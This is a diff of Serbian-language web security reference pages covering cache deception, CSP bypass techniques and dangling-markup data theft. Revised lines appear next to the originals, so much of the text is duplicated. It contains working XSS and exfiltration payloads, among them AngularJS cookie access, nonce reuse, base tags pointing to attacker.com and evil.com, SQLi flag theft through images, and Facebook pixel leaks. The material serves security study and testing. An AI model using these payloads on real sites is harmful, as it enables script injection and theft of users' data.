**Delimiters URL-a** variraju u zavisnosti od okvira i servera, utičući na to kako se zahtevi usmeravaju i kako se odgovori obrađuju. Neki uobičajeni delimiters porekla su:
**URL delimiters** se razlikuju u zavisnosti od okvira i servera, utičući na to kako se zahtevi usmeravaju i kako se odgovori obrađuju. Neki uobičajeni delimiters su:
- **Tačka i zarez**: Koristi se u Spring-u za matrice varijabli (npr. `/hello;var=a/world;var1=b;var2=c``/hello/world`).
- **Tačka**: Specifikuje format odgovora u Ruby on Rails (npr. `/MyAccount.css``/MyAccount`).
- **Tačka**: Specifikuje format odgovora u Ruby on Rails (npr. `/MyAccount.css``/MyAccount`)
- **Null Byte**: Skraćuje putanje u OpenLiteSpeed (npr. `/MyAccount%00aaa``/MyAccount`).
- **Newline Byte**: Razdvaja komponente URL-a u Nginx-u (npr. `/users/MyAccount%0aaaa``/account/MyAccount`).
- **Newline Byte**: Razdvaja URL komponente u Nginx (npr. `/users/MyAccount%0aaaa``/account/MyAccount`).
Drugi specifični delimiters mogu se naći prateći ovaj proces:
Ostali specifični delimiters mogu se naći prateći ovaj proces:
- **Korak 1**: Identifikujte ne-kešabilne zahteve i koristite ih za praćenje kako se URL-ovi sa potencijalnim delimiterima obrađuju.
- **Korak 2**: Dodajte nasumične sufikse putanjama i uporedite odgovor servera kako biste utvrdili da li karakter funkcioniše kao delimiter.
@ -24,19 +23,19 @@ Drugi specifični delimiters mogu se naći prateći ovaj proces:
## Normalization & Encodings
- **Svrha**: URL parseri u keš i izvor serverima normalizuju URL-ove kako bi izvukli putanje za mapiranje krajnjih tačaka i ključeve keša.
- **Proces**: Identifikuje delimitere putanje, izvlači i normalizuje putanju dekodiranjem karaktera i uklanjanjem tačaka-segmenta.
- **Svrha**: URL parseri u keš i izvor serverima normalizuju URL-ove kako bi izvukli putanje za mapiranje krajnjih tačaka i keš ključeve.
- **Proces**: Identifikuje delimitere putanje, izvlači i normalizuje putanju dekodiranjem karaktera i uklanjanjem dot-segmenta.
### **Encodings**
Različiti HTTP serveri i proxy-i poput Nginx-a, Node-a i CloudFront-a dekodiraju delimitere na različite načine, što dovodi do nedoslednosti između CDN-ova i izvornih servera koje bi mogle biti iskorišćene. Na primer, ako web server izvrši ovu transformaciju `/myAccount%3Fparam``/myAccount?param`, ali keš server zadrži kao ključ putanju `/myAccount%3Fparam`, postoji nedoslednost.&#x20;
Različiti HTTP serveri i proxy-ji poput Nginx, Node i CloudFront dekodiraju delimitere na različite načine, što dovodi do nedoslednosti između CDN-ova i izvornih servera koje bi mogle biti iskorišćene. Na primer, ako web server izvrši ovu transformaciju `/myAccount%3Fparam``/myAccount?param`, ali keš server čuva kao ključ putanju `/myAccount%3Fparam`, postoji nedoslednost.&#x20;
Način da se proveri za ove nedoslednosti je slanje zahteva URL kodirajući različite karaktere nakon učitavanja putanje bez ikakvog kodiranja i provera da li je odgovor kodirane putanje došao iz keširanog odgovora.
### Dot segment
Normalizacija putanje gde su uključene tačke je takođe veoma zanimljiva za napade na trošenje keša. Na primer, `/static/../home/index` ili `/aaa..\home/index`, neki keš serveri će keširati ove putanje sa samima sobom kao ključevima dok drugi mogu rešiti putanju i koristiti `/home/index` kao ključ keša.\
Baš kao i pre, slanje ovakvih zahteva i provera da li je odgovor prikupljen iz keša pomaže u identifikaciji da li je odgovor na `/home/index` odgovor koji je poslat kada su te putanje zatražene.
Normalizacija putanje gde su uključene tačke je takođe veoma zanimljiva za napade na keš. Na primer, `/static/../home/index` ili `/aaa..\home/index`, neki keš serveri će keširati ove putanje sa samima sobom kao ključevima dok će drugi možda rešiti putanju i koristiti `/home/index` kao keš ključ.\
Baš kao i ranije, slanje ovakvih zahteva i provera da li je odgovor prikupljen iz keša pomaže u identifikaciji da li je odgovor na `/home/index` odgovor koji je poslat kada su te putanje zatražene.
## Static Resources
@ -44,7 +43,7 @@ Nekoliko keš servera će uvek keširati odgovor ako je identifikovan kao stati
- **Ekstenzije**: Cloudflare će uvek keširati datoteke sa sledećim ekstenzijama: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx
- Moguće je naterati keš da čuva dinamički odgovor koristeći delimiter i statičku ekstenziju kao što je zahtev za `/home$image.png` koji će keširati `/home$image.png`, a izvorni server će odgovoriti sa `/home`
- **Poznate statičke direktorijume**: Sledeći direktorijumi sadrže statične datoteke i stoga bi njihov odgovor trebao biti keširan: /static, /assets, /wp-content, /media, /templates, /public, /shared
- **Poznate statičke direktorijume**: Sledeći direktorijumi sadrže statičke datoteke i stoga bi njihov odgovor trebao biti keširan: /static, /assets, /wp-content, /media, /templates, /public, /shared
- Moguće je naterati keš da čuva dinamički odgovor koristeći delimiter, statički direktorijum i tačke kao: `/home/..%2fstatic/something` će keširati `/static/something`, a odgovor će biti `/home`
- **Statički direktorijumi + tačke**: Zahtev za `/static/..%2Fhome` ili za `/static/..%5Chome` može biti keširan kakav jeste, ali odgovor može biti `/home`
- **Statičke datoteke:** Neke specifične datoteke se uvek keširaju kao što su `/robots.txt`, `/favicon.ico`, i `/index.html`. Što se može zloupotrebiti kao `/home/..%2Frobots.txt` gde keš može čuvati `/robots.txt`, a izvorni server odgovara na `/home`.

View File

@ -4,7 +4,7 @@
## Šta je CSP
Content Security Policy (CSP) se prepoznaje kao tehnologija pretraživača, prvenstveno usmerena na **zaštitu od napada kao što je cross-site scripting (XSS)**. Funkcioniše tako što definiše i detaljno opisuje puteve i izvore sa kojih se resursi mogu sigurno učitati od strane pretraživača. Ovi resursi obuhvataju niz elemenata kao što su slike, okviri i JavaScript. Na primer, politika može dozvoliti učitavanje i izvršavanje resursa sa iste domene (self), uključujući inline resurse i izvršavanje string koda putem funkcija kao što su `eval`, `setTimeout` ili `setInterval`.
Content Security Policy (CSP) se prepoznaje kao tehnologija pretraživača, prvenstveno usmerena na **zaštitu od napada kao što su cross-site scripting (XSS)**. Funkcioniše tako što definiše i detaljno opisuje puteve i izvore sa kojih se resursi mogu sigurno učitati od strane pretraživača. Ovi resursi obuhvataju niz elemenata kao što su slike, okviri i JavaScript. Na primer, politika može dozvoliti učitavanje i izvršavanje resursa sa iste domene (self), uključujući inline resurse i izvršavanje string koda putem funkcija kao što su `eval`, `setTimeout` ili `setInterval`.
Implementacija CSP se vrši putem **odgovarajućih zaglavlja** ili uključivanjem **meta elemenata u HTML stranicu**. U skladu sa ovom politikom, pretraživači proaktivno sprovode ove odredbe i odmah blokiraju svaku otkrivenu povredu.
@ -18,7 +18,7 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
```
### Headers
CSP se može primeniti ili pratiti koristeći ove zaglavlja:
CSP može biti primenjen ili praćen korišćenjem ovih zaglavlja:
- `Content-Security-Policy`: Primena CSP; pregledač blokira sve prekršaje.
- `Content-Security-Policy-Report-Only`: Koristi se za praćenje; izveštava o prekršajima bez blokiranja. Idealno za testiranje u pre-produkcijskim okruženjima.
@ -39,12 +39,12 @@ object-src 'none';
```
### Direktive
- **script-src**: Dozvoljava specifične izvore za JavaScript, uključujući URL-ove, inline skripte i skripte koje pokreću upravljači događajima ili XSLT stilove.
- **default-src**: Postavlja podrazumevanu politiku za preuzimanje resursa kada su specifične direktive za preuzimanje odsutne.
- **script-src**: Dozvoljava specifične izvore za JavaScript, uključujući URL-ove, inline skripte i skripte koje pokreću upravljači događaja ili XSLT stilove.
- **default-src**: Postavlja podrazumevanu politiku za preuzimanje resursa kada specifične direktive za preuzimanje nisu prisutne.
- **child-src**: Specifikuje dozvoljene resurse za web radnike i sadržaje u ugnježdenim okvirima.
- **connect-src**: Ograničava URL-ove koji se mogu učitati koristeći interfejse kao što su fetch, WebSocket, XMLHttpRequest.
- **frame-src**: Ograničava URL-ove za okvire.
- **frame-ancestors**: Specifikuje koji izvori mogu ugnježditi trenutnu stranicu, primenljivo na elemente kao što su `<frame>`, `<iframe>`, `<object>`, `<embed>`, i `<applet>`.
- **frame-ancestors**: Specifikuje koji izvori mogu ugraditi trenutnu stranicu, primenljivo na elemente kao što su `<frame>`, `<iframe>`, `<object>`, `<embed>`, i `<applet>`.
- **img-src**: Definiše dozvoljene izvore za slike.
- **font-src**: Specifikuje validne izvore za fontove učitane koristeći `@font-face`.
- **manifest-src**: Definiše dozvoljene izvore datoteka manifest aplikacije.
@ -53,7 +53,7 @@ object-src 'none';
- **base-uri**: Specifikuje dozvoljene URL-ove za učitavanje koristeći `<base>` elemente.
- **form-action**: Navodi validne krajnje tačke za slanje obrazaca.
- **plugin-types**: Ograničava mime tipove koje stranica može da pozove.
- **upgrade-insecure-requests**: Naredjuje pretraživačima da prepišu HTTP URL-ove na HTTPS.
- **upgrade-insecure-requests**: Naređuje pretraživačima da prepisuju HTTP URL-ove u HTTPS.
- **sandbox**: Primena ograničenja sličnih sandbox atributu `<iframe>`.
- **report-to**: Specifikuje grupu kojoj će izveštaj biti poslat ako se politika prekrši.
- **worker-src**: Specifikuje validne izvore za Worker, SharedWorker, ili ServiceWorker skripte.
@ -64,13 +64,13 @@ object-src 'none';
- `*`: Dozvoljava sve URL-ove osim onih sa `data:`, `blob:`, `filesystem:` shemama.
- `'self'`: Dozvoljava učitavanje sa iste domene.
- `'data'`: Dozvoljava učitavanje resursa putem data sheme (npr., Base64 kodirane slike).
- `'data'`: Dozvoljava resursima da se učitavaju putem data sheme (npr., Base64 kodirane slike).
- `'none'`: Blokira učitavanje sa bilo kog izvora.
- `'unsafe-eval'`: Dozvoljava korišćenje `eval()` i sličnih metoda, ne preporučuje se iz bezbednosnih razloga.
- `'unsafe-hashes'`: Omogućava specifične inline upravljače događajima.
- `'unsafe-hashes'`: Omogućava specifične inline upravljače događaja.
- `'unsafe-inline'`: Dozvoljava korišćenje inline resursa kao što su inline `<script>` ili `<style>`, ne preporučuje se iz bezbednosnih razloga.
- `'nonce'`: Lista dozvoljenih inline skripti koristeći kriptografski nonce (broj koji se koristi jednom).
- Ako imate ograničenu izvršnu moć JS-a, moguće je dobiti korišćen nonce unutar stranice sa `doc.defaultView.top.document.querySelector("[nonce]")` i zatim ga ponovo koristiti za učitavanje maliciozne skripte (ako se koristi strict-dynamic, bilo koji dozvoljeni izvor može učitati nove izvore pa ovo nije potrebno), kao u:
- Ako imate ograničeno izvršavanje JS-a, moguće je dobiti korišćen nonce unutar stranice sa `doc.defaultView.top.document.querySelector("[nonce]")` i zatim ga ponovo koristiti za učitavanje maliciozne skripte (ako se koristi strict-dynamic, bilo koji dozvoljeni izvor može učitati nove izvore pa ovo nije potrebno), kao u:
<details>
@ -92,7 +92,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
- `'strict-dynamic'`: Omogućava učitavanje skripti iz bilo kog izvora ako je beljen od strane nonce-a ili hash-a.
- `'host'`: Precizira specifičan host, kao što je `example.com`.
- `https:`: Ograničava URL-ove na one koji koriste HTTPS.
- `blob:`: Omogućava učitavanje resursa sa Blob URL-ova (npr., Blob URL-ova kreiranih putem JavaScript-a).
- `blob:`: Omogućava učitavanje resursa sa Blob URL-ova (npr., Blob URL-ovi kreirani putem JavaScript-a).
- `filesystem:`: Omogućava učitavanje resursa sa datotečnog sistema.
- `'report-sample'`: Uključuje uzorak kršećeg koda u izveštaju o kršenju (korisno za debagovanje).
- `'strict-origin'`: Slično 'self', ali osigurava da nivo bezbednosti protokola izvora odgovara dokumentu (samo sigurni izvori mogu učitavati resurse sa sigurnih izvora).
@ -126,7 +126,7 @@ Radni payload:
```
### strict-dynamic
Ako možete na neki način da **dozvoljeni JS kod kreira novi script tag** u DOM-u sa vašim JS kodom, zato što ga dozvoljeni skript kreira, **novi script tag će biti dozvoljen za izvršavanje**.
Ako možete na neki način da omogućite da **dozvoljeni JS kod kreira novi script tag** u DOM-u sa vašim JS kodom, zato što ga dozvoljeni skript kreira, **novi script tag će biti dozvoljen za izvršavanje**.
### Wildcard (\*)
```yaml
@ -155,13 +155,13 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
Ako možete da otpremite JS datoteku, možete zaobići ovaj CSP:
Funkcionalni payload:
Radni payload:
```markup
"/>'><script src="/uploads/picture.png.js"></script>
```
Međutim, veoma je verovatno da server **validira otpremeljenu datoteku** i da će vam dozvoliti da **otpremite određene tipove datoteka**.
Štaviše, čak i ako biste mogli da otpremite **JS kod unutar** datoteke koristeći ekstenziju koju server prihvata (kao što je: _script.png_), to neće biti dovoljno jer neki serveri poput apache servera **biraju MIME tip datoteke na osnovu ekstenzije** i pregledači poput Chrome-a će **odbiti da izvrše Javascript** kod unutar nečega što bi trebalo da bude slika. "Nadamo se", postoje greške. Na primer, iz jednog CTF-a sam saznao da **Apache ne prepoznaje** ekstenziju _**.wave**_, stoga je ne servira sa **MIME tipom kao audio/\***.
Štaviše, čak i ako biste mogli da otpremite **JS kod unutar** datoteke koristeći ekstenziju koju server prihvata (kao što je: _script.png_), to neće biti dovoljno jer neki serveri poput apache servera **biraju MIME tip datoteke na osnovu ekstenzije** i pregledači poput Chrome-a će **odbiti da izvrše Javascript** kod unutar nečega što bi trebalo da bude slika. "Nadamo se", postoje greške. Na primer, iz jednog CTF-a sam saznao da **Apache ne prepoznaje** _**.wave**_ ekstenziju, stoga je ne servira sa **MIME tipom kao audio/\***.
Odavde, ako pronađete XSS i otpremanje datoteka, i uspete da pronađete **pogrešno interpretiranu ekstenziju**, mogli biste pokušati da otpremite datoteku sa tom ekstenzijom i sadržajem skripte. Ili, ako server proverava ispravan format otpremeljene datoteke, kreirajte poliglot ([neki primeri poliglotova ovde](https://github.com/Polydet/polyglot-database)).
@ -322,7 +322,7 @@ Trebalo bi da budete u mogućnosti da exfiltrirate podatke, slično kao što je
5. Idite na svoj App "Event Manager" i izaberite aplikaciju koju ste kreirali (napomena: menadžer događaja može se naći na URL-u sličnom ovome: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Izaberite tab "Test Events" da vidite događaje koji se šalju sa "vašeg" veb sajta.
Zatim, na strani žrtve, izvršite sledeći kod da inicijalizujete Facebook praćenje piksela da upućuje na app-id napadačevog Facebook developer naloga i izdajte prilagođeni događaj poput ovog:
Zatim, na strani žrtve, izvršite sledeći kod da inicijalizujete Facebook tracking pixel da pokazuje na napadačev Facebook developer account app-id i da izdate prilagođeni događaj poput ovog:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
@ -341,7 +341,7 @@ Na primer, ako CSP dozvoljava putanju `https://example.com/scripts/react/`, mož
```
Pregledač će na kraju učitati `https://example.com/scripts/angular/angular.js`.
To funkcioniše jer za pregledač učitavate datoteku pod nazivom `..%2fangular%2fangular.js` koja se nalazi pod `https://example.com/scripts/react/`, što je u skladu sa CSP.
To funkcioniše jer za pregledač učitavate datoteku pod imenom `..%2fangular%2fangular.js` koja se nalazi pod `https://example.com/scripts/react/`, što je u skladu sa CSP.
∑, oni će to dekodirati, efektivno tražeći `https://example.com/scripts/react/../angular/angular.js`, što je ekvivalentno `https://example.com/scripts/angular/angular.js`.
@ -361,23 +361,23 @@ Online primer:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.c
Ako je direktiva **base-uri** nedostajuća, možete je zloupotrebiti da izvršite [**dangling markup injection**](../dangling-markup-html-scriptless-injection/).
Štaviše, ako **stranica učitava skriptu koristeći relativnu putanju** (kao što je `<script src="/js/app.js">`) koristeći **Nonce**, možete zloupotrebiti **base** **tag** da je **učitate** skriptu sa **vašeg servera, postignuvši XSS.**\
Ako je ranjiva stranica učitana sa **httpS**, koristite httpS URL u bazi.
Štaviše, ako **stranica učitava skriptu koristeći relativnu putanju** (kao što je `<script src="/js/app.js">`) koristeći **Nonce**, možete zloupotrebiti **base** **tag** da učitate skriptu sa **vašeg servera, postignuvši XSS.**\
Ako se ranjiva stranica učitava sa **httpS**, koristite httpS URL u bazi.
```html
<base href="https://www.attacker.com/" />
```
### AngularJS događaji
Specifična politika poznata kao Content Security Policy (CSP) može ograničiti JavaScript događaje. Ipak, AngularJS uvodi prilagođene događaje kao alternativu. Unutar događaja, AngularJS pruža jedinstveni objekat `$event`, koji se odnosi na objekat nativnog pregledača. Ovaj `$event` objekat može se iskoristiti za zaobilaženje CSP-a. Važno je napomenuti da u Chrome-u, `$event/event` objekat poseduje `path` atribut, koji sadrži niz objekata uključenih u lanac izvršenja događaja, pri čemu je objekat `window` uvek smešten na kraju. Ova struktura je ključna za taktike bekstva iz sandboxes-a.
Specifična politika poznata kao Content Security Policy (CSP) može ograničiti JavaScript događaje. Ipak, AngularJS uvodi prilagođene događaje kao alternativu. Unutar događaja, AngularJS pruža jedinstveni objekat `$event`, koji se odnosi na objekat nativnog pregledača. Ovaj `$event` objekat može se iskoristiti za zaobilaženje CSP-a. Važno je napomenuti da u Chrome-u, `$event/event` objekat poseduje `path` atribut, koji sadrži niz objekata uključenih u lanac izvršenja događaja, pri čemu je objekat `window` uvek smešten na kraju. Ova struktura je ključna za taktike bekstva iz sandbox-a.
Usmeravanjem ovog niza na `orderBy` filter, moguće je iterirati kroz njega, koristeći terminalni element (objekat `window`) za aktiviranje globalne funkcije kao što je `alert()`. Prikazani kod ispod objašnjava ovaj proces:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
Ovaj isječak ističe upotrebu `ng-focus` direktive za pokretanje događaja, koristeći `$event.path|orderBy` za manipulaciju `path` nizom, i koristeći `window` objekat za izvršavanje `alert()` funkcije, čime se otkriva `document.cookie`.
Ovaj deo ističe upotrebu `ng-focus` direktive za pokretanje događaja, koristeći `$event.path|orderBy` za manipulaciju `path` nizom, i koristeći `window` objekat za izvršavanje `alert()` funkcije, čime se otkriva `document.cookie`.
**Pronađite druge Angular zaobilaženja na** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
**Pronađite druge Angular zaobilaženja u** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
### AngularJS i dozvoljena domena
```
@ -393,11 +393,11 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
Ostali JSONP arbitrarni izvršni krajnji tački mogu se naći [**ovde**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (neki od njih su obrisani ili ispravljeni)
Drugi JSONP arbitrarni izvršni krajnji tački mogu se naći [**ovde**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (neki od njih su obrisani ili ispravljeni)
### Bypass putem preusmeravanja
Šta se dešava kada CSP naiđe na preusmeravanje sa servera? Ako preusmeravanje vodi ka drugom poreklu koje nije dozvoljeno, i dalje će propasti.
Šta se dešava kada CSP naiđe na preusmeravanje na serverskoj strani? Ako preusmeravanje vodi ka drugom poreklu koje nije dozvoljeno, i dalje će propasti.
Međutim, prema opisu u [CSP specifikaciji 4.2.2.3. Putanje i preusmeravanja](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), ako preusmeravanje vodi ka drugačijoj putanji, može zaobići originalna ograničenja.
@ -437,7 +437,7 @@ default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` znači da možete izvršiti bilo koji skript unutar koda (XSS može izvršiti kod) i `img-src *` znači da možete koristiti bilo koju sliku sa bilo kog resursa na veb stranici.
Možete zaobići ovaj CSP eksfiltrirajući podatke putem slika (u ovoj situaciji XSS zloupotrebljava CSRF gde stranica dostupna botu sadrži SQLi, i izvlači zastavicu putem slike):
Možete zaobići ovaj CSP eksfiltrirajući podatke putem slika (u ovoj prilici XSS zloupotrebljava CSRF gde stranica dostupna botu sadrži SQLi, i izvlači zastavicu putem slike):
```javascript
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
@ -462,7 +462,7 @@ Funkcija servisnih radnika **`importScripts`** nije ograničena CSP-om:
#### Chrome
Ako je **parametar** koji ste poslali **nalepljen unutar** **deklaracije** **politike,** onda možete **izmeniti** **politiku** na način koji je čini **beskorisnom**. Možete **dozvoliti skriptu 'unsafe-inline'** sa bilo kojim od ovih zaobilaženja:
Ako je **parametar** koji ste poslali **nalepio** unutar **deklaracije** **politike,** tada možete **izmeniti** **politiku** na neki način koji je čini **beskorisnom**. Možete **dozvoliti skriptu 'unsafe-inline'** sa bilo kojim od ovih zaobilaženja:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
@ -548,7 +548,7 @@ Za više informacija [**proverite originalni izveštaj ovde**](https://socradar.
### CSP bypass by restricting CSP
U [**ovoj CTF analizi**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP se zaobilazi injektovanjem unutar dozvoljenog iframe-a strožijeg CSP-a koji je zabranio učitavanje specifične JS datoteke koja je, zatim, putem **prototype pollution** ili **dom clobbering** omogućila **zloupotrebu različitog skripta za učitavanje proizvoljnog skripta**.
U [**ovoj CTF analizi**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP se zaobilazi injektovanjem unutar dozvoljenog iframe-a strožeg CSP-a koji je zabranio učitavanje specifične JS datoteke koja je, zatim, putem **prototype pollution** ili **dom clobbering** omogućila **zloupotrebu različitog skripta za učitavanje proizvoljnog skripta**.
Možete **ograničiti CSP iframe-a** sa **`csp`** atributom:
```html
@ -557,7 +557,7 @@ src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
U [**ovoj CTF analizi**](https://github.com/aszx87410/ctf-writeups/issues/48), bilo je moguće putem **HTML injekcije** da se **ograniči** više **CSP** tako da je skripta koja sprečava CSTI onemogućena i stoga je **ranjivost postala iskoristiva.**\
CSP se može učiniti restriktivnijim korišćenjem **HTML meta tagova** i inline skripte se mogu onemogućiti **uklanjanjem** **ulaza** koji omogućava njihov **nonce** i **omogućavanjem specifične inline skripte putem sha**:
CSP se može učiniti restriktivnijim korišćenjem **HTML meta tagova** i inline skripte se mogu onemogućiti **uklanjanjem** **unosa** koji omogućava njihov **nonce** i **omogućavanjem specifične inline skripte putem sha**:
```html
<meta
http-equiv="Content-Security-Policy"
@ -583,7 +583,7 @@ document.querySelector("DIV").innerHTML =
- Ovaj URL zatim preusmerava na tajni URL (npr., `https://usersecret.example2.com`) koji **nije dozvoljen** od strane CSP-a.
- Slušanjem `securitypolicyviolation` događaja, može se uhvatiti `blockedURI` svojstvo. Ovo svojstvo otkriva domen blokiranog URI-a, curi tajni domen na koji je inicijalni URL preusmerio.
Zanimljivo je napomenuti da pretraživači poput Chrome-a i Firefox-a imaju različita ponašanja u rukovanju iframe-ovima u vezi sa CSP-om, što može dovesti do potencijalnog curenja osetljivih informacija zbog neodređenog ponašanja.
Zanimljivo je napomenuti da pregledači poput Chrome-a i Firefox-a imaju različita ponašanja u rukovanju iframe-ovima u vezi sa CSP-om, što može dovesti do potencijalnog curenja osetljivih informacija zbog neodređenog ponašanja.
Druga tehnika uključuje iskorišćavanje samog CSP-a da se deducira tajni poddomen. Ova metoda se oslanja na algoritam binarne pretrage i prilagođavanje CSP-a da uključuje specifične domene koje su namerno blokirane. Na primer, ako je tajni poddomen sastavljen od nepoznatih karaktera, možete iterativno testirati različite poddomene modifikovanjem CSP direktive da blokira ili dozvoli ove poddomene. Evo isječka koji pokazuje kako bi CSP mogao biti postavljen da olakša ovu metodu:
```markdown
@ -603,8 +603,8 @@ Prema [**poslednjoj tehnici komentarisanoj u ovom videu**](https://www.youtube.c
### Preopterećenje PHP odgovora
PHP je poznat po tome što **baforuje odgovor na 4096** bajtova po defaultu. Stoga, ako PHP prikazuje upozorenje, pružanjem **dovoljno podataka unutar upozorenja**, **odgovor** će biti **poslat** **pre** **CSP header-a**, uzrokujući da se header ignoriše.\
Tada se tehnika u suštini sastoji u **punjenju bafera odgovora upozorenjima** kako CSP header ne bi bio poslat.
PHP je poznat po tome što **bafuje odgovor do 4096** bajtova po defaultu. Stoga, ako PHP prikazuje upozorenje, pružanjem **dovoljno podataka unutar upozorenja**, **odgovor** će biti **poslat** **pre** **CSP header-a**, uzrokujući da se header ignoriše.\
Tada, tehnika se u suštini sastoji u **punjenju bafera odgovora upozorenjima** kako CSP header ne bi bio poslat.
Ideja iz [**ovog izveštaja**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
@ -674,7 +674,7 @@ Da bi se izbeglo da se ovo desi, server može poslati HTTP zaglavlje:
X-DNS-Prefetch-Control: off
```
> [!NOTE]
> Очигледно, ова техника не ради у headless прегледачима (ботовима)
> Очигледно, ова техника не ради у безглавим прегледачима (ботовима)
### WebRTC

View File

@ -4,13 +4,13 @@ Konfiguracija kao što je:
```
Content-Security-Policy: default-src 'self' 'unsafe-inline';
```
Zabranjuje korišćenje bilo kojih funkcija koje izvršavaju kod prenet kao string. Na primer: `eval, setTimeout, setInterval` će svi biti blokirani zbog podešavanja `unsafe-eval`
Zabranjuje korišćenje bilo kojih funkcija koje izvršavaju kod prenet kao string. Na primer: `eval, setTimeout, setInterval` će svi biti blokirani zbog podešavanja `unsafe-eval`.
Bilo koji sadržaj iz spoljašnjih izvora je takođe blokiran, uključujući slike, CSS, WebSockets, i, posebno, JS
Svi sadržaji iz spoljašnjih izvora su takođe blokirani, uključujući slike, CSS, WebSockets, i, posebno, JS.
### Putem Teksta i Slika
Primećeno je da moderni pregledači konvertuju slike i tekstove u HTML kako bi poboljšali njihovo prikazivanje (npr. postavljanje pozadina, centriranje, itd.). Kao rezultat toga, ako se slika ili tekstualna datoteka, kao što su `favicon.ico` ili `robots.txt`, otvori putem `iframe`, prikazuje se kao HTML. Važno je napomenuti da ove stranice često nemaju CSP zaglavlja i možda ne uključuju X-Frame-Options, omogućavajući izvršavanje proizvoljnog JavaScript-a iz njih:
Primećeno je da moderni pregledači konvertuju slike i tekstove u HTML kako bi poboljšali njihovu prikaz (npr. postavljanje pozadina, centriranje, itd.). Kao rezultat, ako se slika ili tekstualna datoteka, kao što su `favicon.ico` ili `robots.txt`, otvori putem `iframe`, prikazuje se kao HTML. Važno je napomenuti da ove stranice često nemaju CSP zaglavlja i možda neće uključivati X-Frame-Options, omogućavajući izvršavanje proizvoljnog JavaScript-a iz njih:
```javascript
frame = document.createElement("iframe")
frame.src = "/css/bootstrap.min.css"
@ -45,7 +45,7 @@ for (var i = 0; i < 5; i++) {
document.cookie = i + "="
}
```
Nakon aktiviranja bilo kojeg od pomenutih scenarija, izvršavanje JavaScript-a unutar iframe-a se može postići na sledeći način:
Nakon aktiviranja bilo kojeg od pomenutih scenarija, izvršavanje JavaScript-a unutar iframe-a je moguće na sledeći način:
```javascript
script = document.createElement("script")
script.src = "//example.com/csp.js"

View File

@ -32,12 +32,12 @@ Možete takođe koristiti **`<table`**:
```html
<table background='//your-collaborator-id.burpcollaborator.net?'
```
Možete takođe umetnuti `<base` tag. Sve informacije će biti poslate dok se citat ne zatvori, ali to zahteva neku interakciju korisnika (korisnik mora da klikne na neki link, jer će `<base` tag promeniti domen na koji link upućuje):
Možete takođe umetnuti `<base` tag. Sve informacije će biti poslate dok se citat ne zatvori, ali to zahteva neku interakciju korisnika (korisnik mora kliknuti na neki link, jer će `<base` tag promeniti domen na koji link upućuje):
```html
<base target=' <--- Injected
steal me'<b>test</b>
```
### Kradanje formi
### Krađa formi
```html
<base href="http://evil.com/" />
```
@ -65,9 +65,9 @@ Koristeći najnoviju pomenutu tehniku za krađu formi (ubacivanje novog zaglavlj
```html
<input type='hidden' name='review_body' value="
```
i ovo polje za unos će sadržati sav sadržaj između njegovih dvostrukih navodnika i sledećih dvostrukih navodnika u HTML-u. Ovaj napad meša "_**Krađu tajni u čistom tekstu**_" sa "_**Krađom formi2**_".
i ovo polje za unos će sadržati sav sadržaj između njegovih dvostrukih navodnika i sledećih dvostrukih navodnika u HTML-u. Ovaj napad meša "_**Krađu tajnih podataka u čistom tekstu**_" sa "_**Krađom formi2**_".
Možete učiniti isto ubrizgavanjem forme i `<option>` taga. Svi podaci do zatvorenog `</option>` će biti poslati:
Možete učiniti isto injektovanjem forme i `<option>` taga. Svi podaci do zatvorenog `</option>` će biti poslati:
```html
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
```
@ -102,7 +102,7 @@ Iz ovog [portswiggers istraživanja](https://portswigger.net/research/evading-cs
<base target='
```
Napomena da ćete zamoliti **žrtvu** da **klikne na link** koji će ga **preusmeriti** na **payload** koji kontrolišete. Takođe, imajte na umu da će **`target`** atribut unutar **`base`** taga sadržati **HTML sadržaj** sve do sledeće jednostruke navodnike.\
To će učiniti da će **vrednost** **`window.name`** ako se link klikne biti sav taj **HTML sadržaj**. Stoga, pošto **kontrolišete stranicu** na kojoj žrtva pristupa klikom na link, možete pristupiti tom **`window.name`** i **ekfiltrirati** te podatke:
